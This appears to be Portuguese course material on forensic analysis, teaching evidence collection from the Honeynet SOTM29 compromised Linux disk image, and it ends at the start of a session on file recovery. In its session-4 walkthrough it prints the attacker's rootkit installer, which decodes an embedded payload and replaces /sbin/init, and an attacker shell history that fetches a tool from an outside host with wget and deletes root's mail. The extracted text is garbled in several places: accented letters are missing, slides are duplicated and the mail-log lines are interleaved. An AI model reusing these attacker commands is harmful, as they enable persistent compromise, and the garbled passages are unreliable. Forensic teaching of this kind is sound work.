1. Utilizando as ferramentas do Sleuth Kit, recupere todos os arquivos removidos da imagem disponvel em /data/dev_sda2_root.img. Primeiramente preciso encontrar esses arquivos, e depois recuper-los. Faa um relatrio com as ferramentas e os passos utilizados para a realizao dessa tarefa. Compare tambm os arquivos recuperados com os arquivos existentes no Live CD do Helix. Junto com um colega, encontre e recupere os arquivos presentes na imagem /data/dev_sda2_root.img que contm o texto know what to do with. Isso deve ser feito sem montar a imagem, apenas utilizando as ferramentas do Sleuth Kit. Faa um relatrio com os passos e ferramentas necessrias, e discuta com seus colegas as tcnicas que poderiam ser utilizadas caso voc tivesse acesso ao dispositivo montado, isto , se fosse possvel montar o dispositivo original em um diretrio e voc tivesse acesso direto aos arquivos, que tcnicas poderiam ser utilizadas para realizar a tarefa? Discuta o resultado com outros grupos.

2.

Anlise forense Sesso de aprendizagem 3

4
Sesso de aprendizagem 4 Coleta de evidncias
Sumrio da sesso
Coleta de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Sistema comprometido . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Tipos de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73 Armazenagem de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75 Tcnicas de coleta . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76 Arquivos de logs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 Arquivos de inicializao do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78 Arquivos de histrico de comandos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 Checando arquivos importantes do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 Atividade 1 Coletando evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84

Escola Superior de Redes RNP

72

Coleta de evidncias
A anlise forense de mdias tem o objetivo de recuperar evidncias que comprovem a invaso do computador analisado. O investigador deve ser imparcial em seu julgamento e na coleta de provas. O processo de coleta de evidncias demorado e varia de caso para caso. Vamos nos concentrar em conhecer as evidncias importantes e a forma de recuper-las do disco, para depois analis-las e tentar montar uma linha de tempo do ataque.

Coleta de evidncias
importante tentar recuperar qualquer programa ou arquivo de dados instalado ou utilizado pelo invasor. A inteno da anlise forense no comprovar a culpa de algum. O investigador deve ser imparcial em seu julgamento e na coleta de provas. Em alguns casos, to importante comprovar a inocncia quanto a culpa de algum.

Em alguns casos especficos, ser necessria uma anlise mais avanada de alguma evidncia. Por exemplo, realizar a engenharia reversa de algum executvel suspeito encontrado na mquina comprometida.

Sistema comprometido
Utilizaremos um modelo virtual de um sistema comprometido, utilizado no Scan Of The Month 29 do projeto Honeynet. Esta mquina virtual foi parada em um momento especfico aps a invaso, para que fosse possvel analisar o sistema como se estivesse utilizando a mquina. Como esta mquina virtual antiga, as verses mais novas do VMWare no conseguem mais abri-la. Por isso, vamos utilizar uma outra mquina virtual, configurada para usar o disco da mquina antiga. Dessa forma, poderemos acessar o disco com um Live CD do Helix, e capturar uma imagem do disco. essa imagem que vamos analisar nas prximas sesses.

Sistema comprometido
No material do aluno existe uma mquina virtual chamada Linux, que pode ser utilizada para testar o procedimento de coleta da imagem do disco do sistema comprometido. Alm disso, a mquina virtual original do Scan of the Month 29 est disponvel, e chama-se linux-suspended.tgz.

Esta mquina virtual do SOTM29 foi utilizada como exemplo no trabalho de certificao para o SANS de um tcnico da RNP, Jacomo D. B. Piccolini. Este trabalho ilustra muito bem o modo de realizar a anlise forense em um sistema vivo. Como a quantidade de evidncias encontradas nessa mquina muito grande, no iremos procurar exaustivamente por elas. Nos exerccios que veremos ao longo da sesso, mostraremos alguns exemplos de evidncias que podem ser encontradas, embora fique a cargo do aluno pesquisar o resultado dos exemplos e tentar identificar mais evidncias.

Tipos de evidncias
Qualquer tipo de informao encontrada na mquina suspeita pode ser considerado uma evidncia.
Arquivos de logs Arquivos apagados Histricos de comandos Binrios comprometidos Arquivos em diretrios suspeitos Arquivos abertos no momento da coleta inicial de evidncias Dados importantes que possam ter sido comprometidos Datas de acesso, de modificao e de criao de arquivos

Tipos de evidncias

Anlise forense Sesso de aprendizagem 4

73

Primeiros passos
Esta a imagem da tela do sistema aps ter sido comprometido e antes de ser parado para anlise. Note a presena de informaes importantes, como o sistema operacional utilizado, a data em que o sistema foi parado e as mensagens que aparecem na imagem, como por exemplo as mensagens informando que a interface de rede entrou em modo promscuo. Uma informao que queremos manter so os timestamps de escrita e montagem do disco. Se montarmos a imagem sem a preocupao de proteger as evidncias, elas sero perdidas e isto pode prejudicar a investigao. Entretanto, ao executar este comando percebemos que ocorre um erro e a imagem no montada. Aparentemente, o processo de desligar a mquina sem desligar o sistema operacional corretamente acabou prejudicando a estrutura do disco. Este tipo de situao pode ocorrer com freqncia em uma investigao, onde o investigador tem que escolher entre prejudicar uma evidncia ou ter acesso a mais evidncias. O que precisamos fazer agora arrumar a imagem do dispositivo. Existem duas maneiras de fazer isso: utilizando o comando fsck para fixar os problemas do disco ou simplesmente montando a imagem em modo de leitura e escrita. Antes de tentar recuperar o acesso a imagem, precisamos salvar as informaes que sero perdidas. Quando montamos um dispositivo, o kernel do sistema operacional atualiza os tempos de ltima escrita e de ltima data de montagem do mesmo. Precisamos salvar essas informaes antes de prosseguir. Lembre-se de que temos uma ferramenta que pode ser muito til, o fsstat.

Um bom ponto de partida so as informaes coletadas durante o momento da captura do computador comprometido.

Primeiros passos
Para comear a procurar por evidncias na imagem do disco comprometido, ser necessrio ter acesso ao sistema de arquivos dessa imagem. importante sempre manter a integridade de todas as evidncias.
# mkdir /mnt/image # mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image o ro,loop,noatime,nodev,noexec t ext2 # fsstat /data/compromised/compromised_hda1.img | less FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug Last Mounted at: Sat Aug 9 15:34:26 2003 9 15:34:26 2003 Last Checked at: Mon Jul 14 14:52:13 2003

# fsstat /data/compromised/compromised_hda1.img | less8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug 9 15:34:26 2003 Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug 9 15:34:26 2003 Unmounted properly Last mounted on: Source OS: Linux Dynamic Structure Compat Features: Journal, InCompat Features: Filetype, Needs Recovery, Read Only Compat Features: Sparse Super,

Coleta de evidncias

Escola Superior de Redes RNP


CONTENT INFORMATION -------------------------------------------Block Range: 0 - 235515 Block Size: 4096 Free Blocks: 144419

74

Temos algumas informaes importantes no resultado acima. Primeiramente, vemos as datas de modificao da imagem. Podemos ver que a data em que o dispositivo foi escrito pela ltima vez igual data em que ele foi montado pela ltima vez. Como esta era a raiz do sistema, esta data de modificao pode indicar a data em que o sistema foi ligado pela ltima vez. Se compararmos com a data mostrada na foto do monitor da mquina, vemos que ela foi provavelmente ligada s 15:34:26 do dia 9 de agosto de 2003, e o sistema foi desligado para coleta do disco em 10 de agosto de 2003, s 20:30:39, ou seja, no dia seguinte. Estas datas so importantes para delimitar o perodo em que o invasor poderia ter tido acesso mquina. Podemos ver tambm na sada do comando que o tamanho do bloco de dados de 4096 bytes. Vamos utilizar essa informao posteriormente com as ferramentas do Sleuth Kit.
# mkdir /mnt/image8 # mount /data/compromised/compromised_hda1.img /mnt/image o ro,loop,noatime, nodev,noexec t ext28 # fsstat /data/compromised/compromised_hda1.img | less8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug 9 15:34:26 2003 Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug 9 15:34:26 2003

Primeiros passos
Algumas ferramentas do sistema podem ser usadas na investigao, e muitas vezes so essenciais para o trabalho. A coleta de evidncias um processo cclico. Cada evidncia encontrada leva a novas pistas e o processo deve ser reiniciado com as novas informaes.
# find /mnt/image atime 1825 or mtime 1825 # find /mnt/image/ -anewer /mnt/image/bin/date ls # find /mnt/image/dev/ -not -type c and -not -type b ls # file /mnt/image/dev/ttyop # strings /mnt/image/dev/ttyop

No primeiro exemplo, realizamos uma procura por arquivos modificados a partir de uma data determinada. O segundo mostra como procurar por arquivos alterados a partir da data de modificao de um arquivo qualquer, para descobrir modificaes e acessos posteriores. O terceiro mostra como procurar por tipos especficos de arquivos. Os dois ltimos comandos mostram como identificar o contedo de um arquivo e visualiz-lo de forma segura.
# find /mnt/image atime 1825 or mtime 18258 # find /mnt/image/ -anewer /mnt/image/bin/date ls8

Anlise forense Sesso de aprendizagem 4

75

# find /mnt/image/dev/ -not -type c and -not -type b ls8 # file /mnt/image/dev/ttyop8 # strings /mnt/image/dev/ttyop8

Armazenagem de evidncias
Armazenar evidncias de forma segura e padronizada: Garante a integridade das mesmas. Permite recuperar e correlacionar de forma fcil as evidncias. Mantm a cadeia de custdia das evidncias, permitindo o controle do acesso a elas. O local de armazenagem deve ser seguro e ter acesso controlado.

Armazenagem de evidncias
necessrio manter uma cadeia de custdia das evidncias encontradas. Para isso, precisamos identificar e armazenar cada evidncia de forma segura e de modo que seja possvel identificar rapidamente a procedncia de cada uma. Para isso, vamos usar um sistema de fichas para cada evidncia encontrada. Veja os detalhes que guardamos em cada ficha. O primeiro campo uma tag nica de identificao, para podermos referenciar cada evidncia posteriormente. interessante criar essa tag com referncia data e hora em que ela foi encontrada, ou a data e hora de criao do arquivo. Temos tambm informaes sobre o arquivo em si. Nome, tipo do arquivo, tamanho e data de criao, uma descrio do que o arquivo e o hash SHA1 do mesmo. Com isso, teremos informaes suficientes para identificar e referenciar o arquivo em um relatrio, bem como garantir que o arquivo estar to ntegro como no momento em que foi encontrado.

Armazenagem de evidncias
tag# Tipo Nome SHA1 hash Tamanho Data Descrio Observaes 20080118-1750-txt-0001 Arquivo de texto /mnt/image/dev/ttyop 2a7badc291e94f3dcb621c0b7abf100eb0ad88cd 74 bytes 2002/03/18 Arquivo com nomes de processos/arquivos Relacionado com evidncias 20040907-1750txt-0002 e 20040907-1750-txt-0003

Armazenagem de evidncias
tag# Tipo Nome SHA1 hash Tamanho Data Descrio Observaes 20080118-1750-txt-0002 Arquivo de texto /mnt/image/dev/ttyoa fe3b2e77710875617dee295e1f880b 9fcc4d9300 134 bytes 2002/09/04 Arquivo com endereos de rede/portas

Coleta de evidncias

Escola Superior de Redes RNP


Tcnicas de coleta
Utilizar inicialmente as ferramentas do sistema para encontrar pistas valiosas.
# find /mnt/image -name .\* # find /mnt/image name [ ]*.* # strings -a -n4 /data/compromised/compromised_hda1.img # grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} /data/compromised/compromised_hda1.img.str # grep -i ttyoa /data/compromised/compromised_hda1.img.str # grep tar\.gz /data/compromised/compromised_hda1.img.str # grep -f /data/dirt_list.txt /data/compromised/compromised_hda1.img.str

76

Tcnicas de coleta
Os exemplos de comandos mostram diversas formas de procurar por evidncias em disco:
# find /mnt/image -name .\*8 # find /mnt/image name [ ]*.*8 # strings -a -n4 /data/compromised/compromised_hda1 .img8 # grep E [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9 ]{1,3} /data/compromised/compromised_hda1.img.str8 # grep -i ttyoa /data/compromised/compromised_hda 1.img.str8 # grep tar\.gz /data/compromised/compromised_ hda1.img.str8 # grep -f /data/dirt_list.txt /data/compromised/ compromised_hda1.img.str8 \\O

primeiro exemplo de comando procura por arquivos que comecem com um ponto, que no Linux correspondem a arquivos escondidos (atributos hidden, como no DOS). Eles podem ser importantes para encontrar arquivos que normalmente no so mostrados em um ls l. segundo exemplo de comando procura por arquivos que tenham um nome com um ou mais espaos. Estes arquivos so difceis de encontrar se fizermos uma listagem em um diretrio com muitos arquivos. terceiro exemplo de comando extrai da imagem do dispositivo todas as strings com mais de 4 caracteres. quarto comando mostra como procurar por endereos IP no arquivo de strings.

\\O

\\O

\\O \\O

comando seguinte mostra um exemplo de arquivo suspeito, e o modo como procurar na imagem por referncias a este arquivo. penltimo exemplo mostra como procurar por referncias a arquivos compactados na imagem, importante para descobrir pacotes de ferramentas instaladas pelo hacker. ltimo exemplo mostra como utilizar uma dirt list para realizar uma procura na imagem por palavras-chave.

\\O

\\O

Anlise forense Sesso de aprendizagem 4

77

Tcnicas de coleta
Analisar os arquivos de sistema, logs, binrios, inicializao e histricos de comandos. Verificar dados importantes armazenados em disco.
# ls la /mnt/image/var/log # more /mnt/image/var/log/boot.log # more /mnt/image/var/log/secure # more /mnt/image/var/log/maillog # find /mnt/image -name \*.log # more /mnt/image/etc/opt/psybnc/log/psybnc.log # cat /mnt/image/usr/lib/libice.log

# ls la /mnt/image/var/log8 # more /mnt/image/var/log/boot.log8 # more /mnt/image/var/log/secure8 # more /mnt/image/var/log/maillog8 # find /mnt/image -name \*.log8 # more /mnt/image/etc/opt/psybnc/log/psybnc.log8 # cat /mnt/image/usr/lib/libice.log8

Os arquivos de log so importantes, pois contm informaes de tempo sobre os eventos ocorridos na mquina, podendo ser relacionados a fontes externas como logs de roteadores e firewalls. No entanto, importante no confiar somente no log.

Nos exemplos, diversos arquivos de log de interesse para a investigao e o modo de procurar por mais logs no sistema. Tambm podemos ver alguns arquivos de log abandonados pelo hacker. Algumas vezes, a invaso feita apenas para comprometer cdigos-fonte ou banco de dados armazenados na mquina.

Arquivos de logs
A anlise de arquivos de logs um passo importante na anlise forense, embora nunca se deva confiar totalmente em um log. s vezes, at mesmo a falta de alguma informao em um log pode ser uma evidncia importante. O investigador deve procurar todos os arquivos de logs armazenados em disco. importante tentar correlacionar os logs com outros eventos: data de criao/acesso/remoo de arquivos, outros logs, eventos capturados em dispositivos de rede etc.

Arquivos de logs
A anlise de arquivos de logs um passo importante na anlise forense, embora nunca se deva confiar totalmente em um log. s vezes, at mesmo a falta de alguma informao em um log pode ser uma evidncia importante. O investigador deve procurar todos os arquivos de logs armazenados em disco. importante tentar correlacionar os logs com outros eventos: data de criao/acesso/remoo de arquivos, outros logs, eventos capturados em dispositivos de rede etc.

O investigador deve procurar todas as informaes pertinentes que estejam relacionadas a uma evidncia, e lembrar de correlacionar eventos nos logs com evidncias encontradas anteriormente. Sempre que encontrar novas evidncias, deve retomar o processo de procura de evidncias utilizando as novas informaes encontradas.

Coleta de evidncias

Escola Superior de Redes RNP


Logs de e-mail podem fornecer boas pistas:
# more maillog8

78

Arquivos de logs
Logs de e-mail podem fornecer boas pistas
# more maillog

Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel)

Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04 763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48 ), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, p ri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], d Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, sn=2.0.0, stat=Sent (ok dirdel) ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn2 Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, 3300: to=newptraceuser@yahoo.com, ctladdr=apache (4 relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. 8/48), delay=00:07:10, xdelay=00:07:10, mailer=esmt Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: p, pri=30043, relay=mx4.mail.yahoo.com. [216.136.12 to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, 9.6], dsn=2.0.0, stat=Sent (ok dirdel) stat=Service unavailable Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC2 Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service unavailable 3321: to=newptraceuser@yahoo.com, ctladdr=apache Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com, (48/48), delay=00:12:00, xdelay=00:12:00, mailer=es ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel) mtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136. 129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@y ahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pr i=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service una vailable Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Ser vice unavailable Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo. com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri =120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dir del)

Neste exemplo de log observamos diversas evidncias sobre a invaso do sistema: o arquivo de log de envio de e-mail e diversos e-mails enviados para usurios externos. Alm dos endereos externos de e-mail, que podem ser uma indicao de pista do invasor da mquina, temos tambm a informao do usurio local que enviou o e-mail. Repare que nos primeiros casos, temos o usurio apache com UID 48 enviando o e-mail, e a seguir temos o usurio root com UID 0 enviando e-mail, o que pode ser uma indicao do momento em que ocorreu a invaso e o comprometimento do sistema, com a obteno do acesso de super usurio pelo invasor. Constatamos tambm que possivelmente o ataque ocorreu atravs do servio HTTP.

Arquivos de inicializao do sistema


Ao invadir uma mquina, o atacante tenta garantir o controle do sistema atravs da instalao de rootkits ou ferramentas de backdoor. Para isso, ser necessrio modificar os arquivos de inicializao da mquina, ou ento substituir executveis do sistema por verses comprometidas com backdoors. Os arquivos utilizados variam dependendo do tipo de sistema que estiver sendo utilizado.

Arquivos de inicializao do sistema


Normalmente, ao invadir uma mquina o atacante tenta garantir o controle do sistema atravs da instalao de rootkits ou ferramentas de backdoor. Para isso, ser necessrio modificar os arquivos de inicializao da mquina, ou ento substituir executveis do sistema por verses comprometidas com backdoors. Os arquivos utilizados variam dependendo do tipo de sistema que estiver sendo utilizado; normalmente so nomeados /etc/rc.* ou /etc/rc.d/*. Dois arquivos normalmente utilizados:

Anlise forense Sesso de aprendizagem 4

79

\\rc.sysinit

(/etc/rc em distribuies Debian)

\\/etc/rc.local

Muitas vezes, arquivos de inicializao podem conter comandos para controlar o sistema aps reiniciar a mquina, fornecendo pistas de onde procurar por mais evidncias. No exemplo, encontramos o arquivo de instalao de um rootkit:
# find /mnt/image/ -name inst8 /mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst8 /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst8 #!/bin/bash D=/lib/.x H=13996 mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e \037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17 0\ ... \313\233\330\157\000\000 | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo Have phun! # find /mnt/image/ -name inst8

Arquivos de inicializao do sistema


No exemplo, encontramos o arquivo de instalao de um rootkit
# find /mnt/image/ -name inst /mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst #!/bin/bash D="/lib/.x" H="13996" mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\ ... \313\233\330\157\000\000" | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo Have phun!

/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst8 /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst8 #!/bin/bash D=/lib/.x H=13996 mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e \037\213\010\010\114\115\016\076\002\00 3\163\153\000\355\175\177\170\ ... \313\233\330\157\000\000 | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to ins tall echo Have phun!

Coleta de evidncias

Escola Superior de Redes RNP

80

Arquivos de histrico de comandos


Uma das primeiras providncias tomadas por um invasor ao adquirir o controle de uma mquina tentar apagar seus rastros. A maioria dos invasores no tm um conhecimento profundo do sistema. Os histricos de comandos so criados pelo shell e geralmente armazenados em arquivo no fim da sesso. Muitos invasores esquecem desse detalhe. Alguns invasores costumam remover o histrico de comandos e redirecionar o arquivo para o dispositivo /dev/null

Arquivos de histrico de comandos


Uma das primeiras providncias tomadas por um invasor ao adquirir o controle de uma mquina tentar apagar seus rastros. Por isso, muitas vezes os arquivos de logs ou de histrico de comandos so apagados. A maioria dos invasores no tm um conhecimento profundo do sistema, e geralmente no conseguem remover todos os seus rastros. Os histricos de comandos so criados pelo shell e geralmente armazenados em arquivo no fim da sesso. Muitos invasores esquecem desse detalhe.

Alguns invasores costumam remover o histrico de comandos e redirecionar o arquivo para o dispositivo /dev/null. Outra forma de procurar por histricos de comandos tentar encontr-los no arquivo de strings extradas da imagem. Abaixo observamos alguns exemplos de como procurar por arquivos de histricos de comandos no sistema, e tambm o modo como eles podem conter informaes interessantes sobre as atividades do atacante. Os dados coletados aqui podem ser teis para procurar novamente por arquivos suspeitos na mquina, atravs dos comandos estudados at agora.
# find /mnt/image/ -name .*history -ls8 47172 0 lrwxrwxrwx 1 root root 9 Aug 10 2003 /mnt/image/root/.bash_history -> / dev/null 3188 4 -rw------- 1 root root 235 Aug 10 2003 /mnt/image/.bash_history # file /mnt/image/.bash_history8 amore/mnt/image/.bash_history: ASCII text # cat /mnt/image/.bash_history8 id uptime ./inst hostname hostname sbm79.dtc.apu.edu cd /dev/shm/sc ./install sbm79.dtc.apu.edu rm -rf /var/mail/root ps x cd /tmp ls -a wget izolam.net/sslstop.tar.gz ps x ps aux | grep apache kill -9 21510 21511 23289 23292 23302 # grep izolam.net /data/compromised/compromised_hda1.img.str8

Anlise forense Sesso de aprendizagem 4

81

Checando arquivos importantes do sistema


O processo de procurar evidncias manualmente pode ser muito demorado e cansativo. Nestes casos, pode ser mais eficiente utilizar algumas ferramentas para facilitar essa pesquisa. Chkrootkit e um antivrus so um bom auxlio ao investigador. Estas ferramentas podem nos auxiliar a confirmar informaes que havamos encontrado anteriormente, bem como detectar novas evidncias da invaso. Um antivrus pode nos ajudar a encontrar evidncias mais difceis de detectar pelas tcnicas normais.

Checando arquivos importantes do sistema


Chkrootkit e ClamAV, disponveis no CD do Helix, podem ser ferramentas importantes para o investigador encontrar arquivos suspeitos na mquina comprometida. Por exemplo, o ClamAV encontrou no sistema a presena de um vrus para Linux chamado Linux/ RST.b, que infecta arquivos no diretrio corrente e no /bin. Ele tambm abre um backdoor na mquina que pode ser acessado atravs do protocolo EGP. Este vrus foi instalado quando o invasor executou uma das ferramentas baixadas aps invadir a mquina, o que mostra que muitas vezes o invasor no tem noo do que est instalando na mquina, e que ela pode ficar vulnervel no apenas ao invasor original, mas a outros que tenham acesso a esses backdoors. O arquivo /dev/hdx1 foi criado na instalao do vrus RST.B no sistema. Ele indica que o usurio que executou a ferramenta infectada estava com permisso de super usurio no momento. O comando acima procura pelos arquivos modificados ou acessados aps a criao desse arquivo, e a listagem contm diversos arquivos instalados pelo hacker, ferramentas utilizadas em ataque, modificaes em arquivos do sistema, entre outras informaes importantes.

Checando arquivos importantes do sistema


Prtica: Apenas como exerccio, execute o comando abaixo e veja se acha algo interessante:
# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls | less

Lembra o que o comando acima faz? Anote os arquivos de interesse e inclua-os na lista de evidncias.

Concluses
Vimos nesta sesso o que so evidncias e como trat-las e armazen-las de maneira a garantir a integridade e a cadeia de custdia das mesmas. Aprendemos a encontrar evidncias utilizando ferramentas bsicas disponveis em qualquer distribuio Linux. Ainda existem muitas evidncias presentes na imagem analisada nesta sesso. A anlise forense um processo cclico, demorado e sujeito a erros. importante tentar correlacionar evidncias para garantir a validade das informaes coletadas.

Concluses
Na prxima sesso veremos as ferramentas e tcnicas para recuperao completa ou parcial de evidncias removidas do disco. Veremos tambm algumas tcnicas para anlise de arquivos suspeitos encontrados. Apesar desta ser a parte mais demorada do processo, veremos que as tcnicas so simples e de fcil execuo.

Coleta de evidncias

Escola Superior de Redes RNP

82

Anlise forense Sesso de aprendizagem 4

4
Sesso de aprendizagem 4 Coleta de evidncias Roteiro de atividades
Tpicos e conceitos
\\A

anlise forense de mdias tem o objetivo de recuperar evidncias que comprovem a invaso do computador analisado.

Competncias tcnicas desenvolvidas


\\Coletar

evidncias de um sistema comprometido.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-110

minutos

Escola Superior de Redes RNP

84

Atividade 1 Coletando evidncias


1. Juntamente com um colega, utilize as tcnicas aprendidas para procurar por mais evidncias no disco. Veja quais evidncias consegue encontrar alm das que j foram vistas. Use como base os comandos estudados durante a sesso, para encontrar evidncias alm das comentadas no texto. Crie fichas de evidncia para os arquivos de log encontrados. Procure pelos outros arquivos comentados no texto terico e que no foram encontrados. Crie as respectivas fichas de identificao, e tambm as fichas de identificao para os arquivos encontrados no exerccio anterior.

2.

Anlise forense Sesso de aprendizagem 4

5
Sesso de aprendizagem 5 Recuperao e anlise de evidncias
Sumrio da sesso
Recuperao e anlise de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 Estrutura do sistema de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 Recuperao de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 Recuperao de arquivos sobrescritos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89 Recuperao de arquivos journaling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 Atividade 1 Rastreando eventos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 Atividade 2 Buscando ferramentas na internet . . . . . . . . . . . . . . . . . . . . . . . . 98

Escola Superior de Redes RNP

86

Recuperao e anlise de evidncias


O processo de procurar evidncias cclico, e o analista deve continuar procurando enquanto necessitar de evidncias para comprovar a invaso e encontrar o responsvel. As ferramentas vistas at agora so teis apenas para procurar arquivos que ainda estejam disponveis no sistema de arquivos. O que fazer, ento, quando os arquivos foram apagados?

Recuperao e anlise de evidncias


As tcnicas e ferramentas que veremos a seguir se aplicam a praticamente qualquer sistema de arquivos Unix e Windows que no utilizem journaling. Neste caso, precisamos utilizar uma ferramenta especfica para cada caso. Nesta sesso estudaremos como recuperar arquivos em um sistema Ext3 (third extended file system), o padro de sistema de arquivos do Linux. Um invasor costuma apagar seus rastros quando percebe que est sendo monitorado ou correndo o risco de ser encontrado

Recuperao e anlise de evidncias


Invasores costumam apagar seus rastros quando percebem que esto sendo monitorados. necessrio utilizar ferramentas para recuperar arquivos apagados. A principal dificuldade para recuperar arquivos apagados o fato de que os dados podem ter sido sobrescritos. Verses mais novas de alguns sistemas operacionais utilizam journaling file systems. Estes sistemas de arquivo tm um registro de todas as atividades realizadas no disco.

